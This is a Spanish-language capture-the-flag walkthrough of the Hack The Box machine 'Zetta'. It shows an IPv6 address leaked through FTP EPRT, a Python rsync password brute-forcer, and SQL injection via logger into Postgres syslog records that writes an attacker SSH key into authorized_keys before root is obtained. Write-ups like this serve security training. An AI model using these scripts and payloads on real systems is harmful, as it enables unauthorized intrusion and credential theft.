Hack The Box - Tutorial de Zetta FXP, IPv6, rsync, Postgres y SQLi

imagen

Sigo publicando soluciones enviadas para su posterior procesamiento desde el sitio de HackTheBox . Espero que esto ayude al menos a alguien a desarrollarse en el campo de la seguridad de la información. En este artículo, aprendemos la dirección del servidor IPv6 usando FXP, trabajamos con rsync y también escribimos la clave ssh usando inyección SQL cuando procesamos registros en Postgres.

La conexión al laboratorio es a través de VPN. Se recomienda no conectarse desde una computadora del trabajo o desde un host donde los datos importantes para usted estén disponibles, ya que termina en una red privada con personas que saben algo en el campo de la seguridad de la información :)

Información organizacional
, - , :

  • PWN;
  • (Crypto);
  • c (Network);
  • (Reverse Engineering);
  • (Stegano);
  • WEB-.

, , , .

, , Telegram . , , .

. , - , .

Recon


Esta máquina tiene una dirección IP 10.10.10.156, que agrego a / etc / hosts.

10.10.10.156    zetta.htb

Primero, escaneamos puertos abiertos. Como lleva mucho tiempo escanear todos los puertos con nmap, primero haré esto con masscan. Escaneamos todos los puertos TCP y UDP desde la interfaz tun0 a una velocidad de 500 paquetes por segundo.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.156 --rate=500

imagen

A continuación, debe recopilar más información sobre los puertos conocidos. Para hacer esto, use nmap con la opción -A.

nmap -A zetta.htb -p21,22,80

imagen

Echa un vistazo a lo que hay en ftp.

imagen

Como resultado, el banner dice que podemos conectarnos a través de IPv6. Veamos qué hay en el servidor web.

imagen

Observamos FTP nativo con soporte para FXP. FXP es una forma de transferir archivos entre dos servidores FTP directamente, sin descargarlos a su computadora. Durante una sesión FXP, el cliente abre dos conexiones FTP a dos servidores diferentes, solicitando un archivo en el primer servidor, que indica la dirección IP del segundo servidor en el comando PORT.

imagen

Desplazándonos un poco, encontramos el nombre de usuario y la contraseña para FTP. Y después de ingresar las credenciales, se nos dice que hay soporte para FXP.

imagen

Pero o no hay archivos en el servidor, o no nos los dan. Pero como este servidor admite FXP, podemos pretender ser otro servidor, el servidor de destino inició una conexión. Por lo tanto, revelaremos su dirección IPv6 de acuerdo con RFC 2428.

imagen

imagen

Esto es necesario para una exploración adicional, ya que el host puede tener servicios que solo aceptan conexión IPv6. Entonces necesitamos saber nuestra dirección.

imagen

Usando tcpdump, rastrearemos el tráfico que va al puerto 4321.

imagen

Y usando netcat nos conectamos a ftp y especificamos las credenciales.

nc zetta.htb 21

imagen

Y ahora enviamos la solicitud EPRT.

imagen

Y observamos la dirección IPv6 del host de destino.

imagen

Ahora escríbalo en / etc / hosts en lugar de IPv4 y escanee todos los puertos usando nmap, agregando la opción -6.

nmap -6 zetta.htb -p-

imagen

Ahora obtenemos más información usando la opción -A.

nmap -A -6 zetta.htb -p21,22,80,8730

imagen

Punto de entrada


Rsync (sincronización remota) es un programa para sistemas similares a UNIX que sincroniza archivos y directorios en dos lugares y minimiza el tráfico. Rsync puede copiar o mostrar el contenido de un directorio y copiar archivos, opcionalmente usando compresión y recursividad. rsync solo transfiere los cambios de archivos, lo que afecta el rendimiento del programa. Veamos la lista de módulos.

rsync -6 --list-only rsync://zetta.htb:8730/

imagen

Faltan algunos directorios importantes de esta lista. Pero el directorio etc. estaba disponible.

rsync -6 -av rsync://zetta.htb:8730/etc/rsync*

imagen

Leemos rsyncd.conf, para este archivo en la máquina local.

rsync -6 -a rsync://zetta.htb:8730/etc/rsyncd.conf .

imagen

La configuración tiene un módulo oculto: home_roy, que apunta al directorio de inicio del usuario roy, y está protegido con contraseña de rsyncd.secrets, pero no está disponible para nosotros.

rsync -6 rsync://zetta.htb:8730/home_roy/

imagen

USUARIO


Cuando no hubo más ideas, tuve que resolver la contraseña. Para esto, se escribió el código Python y se utilizó una lista de contraseñas de Seclists.

#!/usr/bin/python3

def clear():
    sys.stdout.write("\033[F")
    sys.stdout.write("\033[K")

from pwn import *

with open("/usr/share/seclists/Passwords/Common-Credentials/500-worst-passwords.txt", "r") as f:
    passwords = f.read().split('\n')

for password in passwords:
    s = process(["rsync", "-6", "rsync://roy@zetta.htb:8730/home_roy"], env={"RSYNC_PASSWORD":password})
    clear()
    clear()
    print(("password: " + password).ljust(30, " "), end="\r\r")
    
    s.recvuntil("\"Cloud sync\".\n\n\n")
    if b"@ERROR:" not in s.recv():
        print("found!!!")
        break
    s.close()
clear()

imagen

Ahora que conocemos la contraseña, generemos la clave ssh y cárguela al servidor.

imagen

imagen

imagen

Y conectando a través de SSH con esta clave, tomamos el token de usuario.

imagen

RAÍZ


Al lado del token hay una pista: una lista de tareas.

imagen

Vamos a abrirlos.

todo .tudu.xml

imagen

Veamos todas las tareas planificadas. El servidor usa git.

imagen

En este caso, los registros de eventos se guardan en la base de datos.

imagen

Y también planea cambiar la contraseña, que en este momento parece un cierto tipo.

imagen

Lo primero que hacemos es ir a git, porque allí podemos ver el historial de cambios de configuración. Encuentra todos los directorios .git en el servidor.

imagen

Estamos más interesados ​​en el diario rsyslog, así que copio todo su repositorio en la máquina local.

imagen

Ahora vamos al directorio con el repositorio cargado y usamos gitk (la interfaz gráfica es un poco, pero conveniente).

imagen

Vemos las credenciales, pero si las usamos, fallamos. También en el repositorio puede ver la plantilla según la cual se colocan los registros en la base de datos. Los registros se guardan en el registro /var/log/postgresql/postgresql-11-main.log, al que puede acceder el grupo adm del que somos miembros.

imagen

Como estamos trabajando con una base de datos, puede probar la inyección. Crearemos eventos para grabar usando el registrador, monitoreando simultáneamente en tiempo real lo que ingresa al registro (por conveniencia, puede usar qterminal con una ventana dividida) usando watch.

watch -n 1 cat postgresql-11-main.log

Y envía el evento.

logger -p local7.info "'"

imagen

Y se produce un error que indica una posible inyección. Mirando / etc / passwd, descubrimos que el usuario del servicio postgres tiene el shell / bin / bash.

imagen

Por lo tanto, podemos iniciar sesión a través de ssh. Esto nos dará acceso al archivo postgres, incluido el historial de comandos. Verifiquemos si podemos escribir un archivo usando inyección.

logger -p local7.info "qwerty',\$\$2020-02-02\$\$);DROP TABLE if exists ralf;CREATE TABLE ralf(t TEXT);INSERT INTO ralf(t) VALUES(\$\$RALF\$\$);SELECT * FROM ralf;COPY ralf(t) TO \$\$/tmp/ralf\$\$;-- -"

imagen

Multa. Generaremos la clave ssh y escribiremos la clave pública en el servidor en el directorio de inicio del servicio de usuario de postgres: /var/lib/postgresql/.ssh/authorized_keys.

imagen

logger -p local7.info -s "qwerty',\$\$2020-02-02\$\$);DROP TABLE if exists ralf;CREATE TABLE ralf(t TEXT);INSERT INTO ralf(t) VALUES(\$\$ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDRC9/M7mhpZ/0Rs/HyPIC58k3qDu3xRVmMgt/gky8VCpH49WVkkLpW0tFNL1Z7d/NN8efres0+aG7VJXop20P4uO7BT4ikK8ccDzXKHlSVPweevKu8AAVqu98mKxXJBNI/uQ1giv+zwS23hbe5DQTGldeOSPzClxal8sj99kqCk1aN8Cs7I6+vBcOkHoMVKB8dR9Hu0ZwvLzvWDnnBR1txmjrNDPt25I+2gNc3JYvqIS2QIV2DSdh5UoFKVzA27Mav3A0yL6zJjUynnluAa27HMsKdvrfA0Q5zIY3F/snHCl4X/wxZh4o9bnfxUFt6OC0sLxk5ro1Vw6EjgACZj+aFoFXBMgX59YpUVtXbXvN/ACMkIyLh/f7CvqWDD9sppZtcBKVYB1jzlqIG5ekgv55aCrTeX9CuS9YbZrrjZC2Dos7YTOwD9TBItlR8VcU0JcR1GiS+GHZv0Rm9pizHchOiPocWqdryoGqfTfCav4AvrhDHtzk4P/C1fa3flwb3NxE= root@Ralf-PC\$\$);SELECT * FROM ralf;COPY ralf(t) TO \$\$/var/lib/postgresql/.ssh/authorized_keys\$\$;-- -"

Ahora repasemos ssh.

ssh -i psg_id_rsa postgres@zetta.htb

imagen

Nos fijamos en la historia de los postgres.

imagen

Y encontramos la contraseña. Recordamos la regla de contraseña de la lista de tareas, reemplazamos al usuario con root e iniciamos sesión.

imagen

Estamos con todos los derechos!

Puedes unirte a nosotros en Telegram . Formemos una comunidad en la que haya personas con conocimientos en muchas áreas de TI, para que siempre podamos ayudarnos mutuamente en cualquier problema de seguridad de la información y TI.

All Articles